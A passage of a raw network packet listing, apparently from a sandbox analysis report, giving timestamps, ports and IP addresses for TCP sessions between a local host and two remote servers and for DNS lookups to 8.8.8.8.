Dec 1, 2021 10:05:22.102261066 CET	49849	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:22.159923077 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:22.597543001 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:22.661312103 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:22.716757059 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:26.244466066 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:26.308634043 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:26.357826948 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:40.024914026 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:40.093403101 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:40.093435049 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:40.093446970 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:40.093558073 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:43.855937004 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:43.922710896 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:43.932868004 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:43.996465921 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:44.010126114 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:44.076005936 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:44.076030970 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:44.129956961 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:44.138401985 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:44.203479052 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:44.254837990 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:44.465970039 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:44.529900074 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:44.532253027 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:44.595907927 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:44.599601030 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:44.663454056 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:44.664828062 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:44.728569984 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:44.770525932 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:44.859555960 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:44.924056053 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:44.926044941 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:44.989888906 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.036196947 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.149768114 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.213156939 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.213462114 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.213716030 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.277019024 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.277040005 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.277102947 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.277117014 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.277283907 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.277298927 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.277302980 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.277575016 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.277631044 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.340699911 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.340783119 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.340796947 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.340877056 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.340902090 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.340924978 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.341137886 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.341171980 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.341175079 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.341183901 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.341248989 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.341283083 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.341419935 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.341432095 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.380944014 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.403920889 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.403948069 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.404203892 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.404225111 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.404299974 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.404380083 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.404459953 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.404496908 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.404512882 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.404606104 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.404722929 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.404741049 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.404895067 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.404908895 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.404921055 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.404936075 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.444438934 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.444916010 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.467797995 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.467830896 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.468010902 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.468065977 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.468540907 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.468569040 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.468594074 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.469034910 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.469491959 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.469505072 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.469512939 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.469525099 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.507983923 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.508024931 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.508050919 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.508136034 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.508250952 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.508337975 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.508390903 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.508416891 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.508480072 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.508481979 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.508641958 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.508754969 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.569555044 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.572037935 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.572171926 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.573124886 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.573158026 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.573184967 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.573211908 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.573235989 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.573261023 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.573287010 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.573311090 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.573337078 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.573369980 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.573399067 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.573836088 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.611624002 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.616225004 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.616369963 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.635277987 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.635319948 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.635454893 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.635587931 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.635749102 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.635905981 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.636265993 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.636523962 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.636713028 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.636837006 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.636986971 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.637120008 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.637406111 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.637718916 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.637795925 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.637950897 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.638309002 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.638436079 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.679421902 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.679466009 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.679647923 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.679863930 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.679893970 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.680075884 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.680294037 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.680366993 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.680639029 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.680804968 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.680927038 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.681119919 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.681313038 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.681492090 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.681643009 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.682337046 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.682460070 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.701507092 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.701678038 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.701767921 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.702081919 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.702111959 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.702493906 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.702548027 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.702728987 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.702964067 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.703135014 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.703288078 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.703500032 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.703610897 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.740447044 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.741190910 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.741384983 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.745505095 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.745615959 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.745711088 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.745738983 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.746089935 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.746205091 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.746495962 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.746524096 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.746773005 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.747009993 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.747087955 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.747200012 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.747442007 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.747569084 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.747595072 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.747809887 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.748020887 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.748980999 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.749138117 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.806901932 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.806931973 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.807063103 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.808723927 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.808967113 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.809024096 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.809220076 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.809459925 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.812766075 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.813644886 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.815922976 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.816045046 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.816066027 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.816102028 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.816134930 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.816160917 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.816184044 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.816207886 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.816242933 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.816273928 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.816301107 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.872594118 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.872646093 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.872684002 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.872809887 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.873004913 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.875133038 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.880943060 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:45.944555998 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:45.946314096 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:46.009850979 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:46.023144007 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:46.086150885 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:46.086647987 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:46.129966974 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:46.146526098 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:46.212758064 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:46.232861042 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:46.296502113 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:46.348814011 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:46.536026955 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:46.600327015 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:46.602513075 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:46.666119099 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:46.667005062 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:46.731313944 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:46.733333111 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:46.798252106 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:46.810323954 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:46.873363972 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:46.886779070 CET	49850	42871	192.168.2.3	45.9.20.149

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 1, 2021 10:04:25.959356070 CET	53910	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:25.979190111 CET	53	53910	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:26.163358927 CET	64021	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:26.182959080 CET	53	64021	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:26.369580984 CET	60784	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:26.691288948 CET	53	60784	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:26.864141941 CET	51143	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:26.883865118 CET	53	51143	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:27.051225901 CET	56009	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:27.377582073 CET	53	56009	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:27.547131062 CET	59026	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:27.877434969 CET	53	59026	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:28.053071976 CET	49572	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:28.359352112 CET	53	49572	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:35.493311882 CET	60823	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:35.513070107 CET	53	60823	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:35.710195065 CET	52130	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:35.728220940 CET	53	52130	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:35.905901909 CET	55102	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:35.925709963 CET	53	55102	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:36.097809076 CET	56236	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:36.119568110 CET	53	56236	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:38.506958008 CET	63297	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:38.530246019 CET	53	63297	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:38.701466084 CET	53615	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:38.721179008 CET	53	53615	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:38.922229052 CET	50728	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:38.942142963 CET	53	50728	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:39.125042915 CET	53777	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:39.142980099 CET	53	53777	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:39.328583956 CET	60352	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:39.348180056 CET	53	60352	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:39.516851902 CET	56773	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:39.536752939 CET	53	56773	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:39.736749887 CET	60982	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:39.756603956 CET	53	60982	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:39.933353901 CET	58058	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:39.950864077 CET	53	58058	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:40.143012047 CET	64367	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:40.162425995 CET	53	64367	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:40.329806089 CET	51539	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:40.349658012 CET	53	51539	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:40.535372972 CET	50585	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:40.823241949 CET	53	50585	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:43.352863073 CET	55108	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:43.372376919 CET	53	55108	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:43.548263073 CET	58942	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:43.567605019 CET	53	58942	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:43.744683027 CET	64432	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:43.765840054 CET	53	64432	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:43.941843033 CET	49250	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:43.961553097 CET	53	49250	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:44.159374952 CET	63490	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:44.461524010 CET	53	63490	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:46.737521887 CET	61120	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:46.757467985 CET	53	61120	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:46.929688931 CET	53079	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:47.218033075 CET	53	53079	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:47.390554905 CET	50824	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:47.410384893 CET	53	50824	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:47.583219051 CET	56706	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:47.603219032 CET	53	56706	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:47.824915886 CET	53569	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:47.842392921 CET	53	53569	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:51.176265001 CET	62855	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:51.195394039 CET	53	62855	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:51.469307899 CET	51046	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:51.489109993 CET	53	51046	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:51.728334904 CET	65501	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:51.745596886 CET	53	65501	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:52.639209032 CET	53465	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:52.658978939 CET	53	53465	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:52.964701891 CET	49290	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:52.982064962 CET	53	49290	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:53.325989962 CET	59754	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:53.345958948 CET	53	59754	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:53.544635057 CET	49234	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:53.563703060 CET	53	49234	8.8.8.8	192.168.2.3
Dec 1, 2021 10:04:59.825092077 CET	58720	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:04:59.842444897 CET	53	58720	8.8.8.8	192.168.2.3
Dec 1, 2021 10:05:00.039277077 CET	57447	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:05:00.059180975 CET	53	57447	8.8.8.8	192.168.2.3
Dec 1, 2021 10:05:00.154787064 CET	63583	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:05:00.240900040 CET	64099	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:05:00.258542061 CET	53	64099	8.8.8.8	192.168.2.3
Dec 1, 2021 10:05:00.432288885 CET	64610	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:05:00.442418098 CET	53	63583	8.8.8.8	192.168.2.3
